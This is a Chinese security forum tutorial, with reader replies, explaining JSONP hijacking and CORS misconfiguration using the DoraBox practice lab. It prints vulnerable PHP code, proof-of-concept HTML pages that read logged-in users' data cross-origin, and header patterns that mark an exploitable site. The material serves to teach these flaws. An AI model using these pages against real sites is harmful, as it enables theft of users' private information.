用户
搜索
回帖奖励 88 魔法币 回复本帖可获得 2 魔法币奖励! 每人限 1 次(中奖概率 60%)
  • TA的每日心情
    奋斗
    5 天前
  • 签到天数: 70 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    19

    主题

    181

    帖子

    886

    魔法币
    收听
    0
    粉丝
    6
    注册时间
    2015-12-29

    幽默灌水王春秋游侠积极活跃奖限定版春秋段子手i春秋签约作者春秋文阁

    发表于 2019-1-28 16:27:57 139250
    本帖最后由 prison 于 2019-1-28 19:08 编辑

    前言

    最近挖不到洞,快过年了事情也比较多。所以整理了下比较基础的跨域漏洞知识点,希望能抛砖引玉。

    1. JSONP跨域

    JSONP(JSON with padding),是一种利用HTML中<script></script>元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。
    那么为什么需要用到jsonp这样一种方式传递不同域之间的数据呢?因为同源策略,同源策略是由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略。
    我们以key表哥的droabox为例
    微信截图_20190123201004.png
    微信截图_20190123201020.png

    首先看下源码

    <!-- jsonp.php -->
    <?php
            include "../class/function.class.php";
            $reqMethod = "GET";
            $reqValue = "callback";
            $p = new Func($reqMethod, $reqValue);
            $info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => 'admin@gh0st.cn', 'address' => '中华人民共和国', '**' => 'Cool Man');
            if(!@$_GET['callback']){
                    echo $p -> con_function('json_encode',$info);
            }else{
                    $callback = htmlspecialchars($_GET['callback']);
                    echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
            }
    ?>

    我们主要看的是

    if(!@$_GET['callback']){
                    echo $p -> con_function('json_encode',$info);
            }else{
                    $callback = htmlspecialchars($_GET['callback']);
                    echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
            }

    这里首先以get形式接收到callback的值,如果callback为空则忽略警告输出info的json格式数据;如果callback值不为空,则对这个值做一个过滤后输出,然后后面还是输出json格式的info的值。
    3.png

    4.png

    从这段代码我们可以看到,callback的值是可以动态输出的,如果我们现在拿到了这么一个以jsonp方式传输用户认证后数据的网站,我们就可以构造出一个恶意的jsonp调用页面,然后诱使用户访问我们的页面,从而达到一个截取用户信息的目的。

    <!--jsonp.html-->
    <!DOCTYPE html>
    <html>
    <head>
            <title>jsonp</title>
    </head>
    <body>
    <script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
    <script type="text/javascript">
              $.getJSON("http://localhost:801/dorabox/csrf/jsonp.php?callback=?", function(jsonp){
              alert(jsonp.username);
    
        });
    </script>
    </body>
    </html>

    这里用到一个jQuery的getJSON方法,语法为jQuery.getJSON(url,data,success(data,status,xhr));
    我们用这个函数以get方式打开链接,获取到json值,即获取到用户敏感信息。
    5.png

    JSON劫持可能存在的点:

    • Referer过滤不严谨
    • 空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空)
    • CSRF调用json文件方式不安全,token可重复利用
    • JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入)
    • 未严格过滤callback函数名及JSON里数据的输出
    • 未严格限制JSONP输出callback函数名的长度

    2.CORS跨域

    CORS(Cross-Origin Resource Sharing 跨来源资源共享),CORS允许浏览器向跨域服务器发出XmlHttpRequest请求,CORS与JSONP的区别:是JSONP的升级版,JSONP只能通过get方式请求,CORS支持get和post请求。
    CORS跨域原理:想header中注入Access-Control-Allow-Origin 服务端哦那个过判断请求头中的参数是否被允许的域来决定请求源是否有权限获取数据。
    6.png
    注意这里的

    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: X-Requested-With
    Access-Control-Allow-Methods: PUT,POST,GET,DELETE,OPTIONS

    这个响应头表示访问允许,*表示所有的请求源的所有形式的请求,都被允许访问数据,这样也就造成了一个跨域读取敏感信息的漏洞。
    下面有一些返回标识帮助我们快速确认一个网站是否存在cors漏洞:

    最好的攻击案例:
    Access-Control-Allow-Origin: https://attacker.com

    Access-Control-Allow-Credentials: true

    可能存在利用点:
    Access-Control-Allow-Origin: null

    Access-Control-Allow-Credentials: true

    配置失误,但是几乎无法利用:
    Access-Control-Allow-Origin: *

    Access-Control-Allow-Credentials: true

    或者只有一个:

    Access-Control-Allow-Origin: *

    下面还是以dorabox为例:
    7.png
    这里假设我们看到的是一个已登录状态的用户信息,通过访问该页面的返回头信息我们确定它可能存在一个cors跨域资源共享的漏洞,那么我们就可以构造以下代码获取用户隐私信息:

    <!-- cors.html -->
    <!DOCTYPE html>
    <html>
    <head>
            <title>cors exp</title>
    </head>
    <body>
    <script type="text/javascript">
            function cors() {
                    var xhr = new XMLHttpRequest();
                xhr.onreadystatechange = function() {
                    if(xhr.readyState === 4) {
                alert(xhr.responseText);
            }
        }
        xhr.open("GET","http://localhost:801/DoraBox/csrf/userinfo.php");
        xhr.send();
    }
    cors();
    </script>
    </body>
    </html>

    首先定义一个函数cors,以get形式访问目标网址,创建 XMLHttpRequest 对象为xhr,通过ajax的onreadystatechange判断请求状态,如果请求已完成,且相应已就绪,则弹出返回文本。
    8.png
    当然我们还可以利用CrossSiteContentHijacking这个poc实现cors跨域资源共享。
    9.png
    将这个工具部署到php环境中,输入目标url,类型设置为CORS iframe 或CORS window后点击"Retrieve Contents"
    10.png

    有post数据也是可以的,前文说过cors是jsonp的升级版,可处理post数据
    11.png
    欢迎留言讨论。
    CORS跨域资源
    参考:
    https://gh0st.cn/archives/2018-03-22/1
    http://php-note.com/article/detail/883

    本帖被以下淘专辑推荐:

    发表于 2019-1-28 19:08:20
    沙发自己坐。。
    使用道具 举报 回复
    发表于 2019-1-29 08:46:47

    回帖奖励 +2 魔法币

    感谢老哥分享~
    Just do it!
    使用道具 举报 回复

    回帖奖励 +2 魔法币

    感谢老哥分享~
    使用道具 举报 回复
    发表于 2019-1-29 13:14:15
    共享感谢,等等等等等等等等等等等等等等等等等等等等
    使用道具 举报 回复
    发表于 2019-1-29 13:50:18

    回帖奖励 +2 魔法币

    6666666666666666666666学习了!!
    使用道具 举报 回复
    发表于 2019-2-6 10:33:01

    回帖奖励 +2 魔法币

    谢谢@Thanks!
    使用道具 举报 回复
    发表于 2019-2-11 08:34:17

    回帖奖励 +2 魔法币

    学到了学到了感谢表哥
    使用道具 举报 回复
    发表于 2019-2-13 10:09:39
    感谢大佬的分享
    使用道具 举报 回复
    很给力,感谢分享
    使用道具 举报 回复
    感谢老哥,元宵节快乐,希望持续输出...
    使用道具 举报 回复

    很给力,感谢分享
    使用道具 举报 回复
    发表于 2019-4-3 07:52:09

    回帖奖励 +2 魔法币

    666,感谢分享,学习了
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册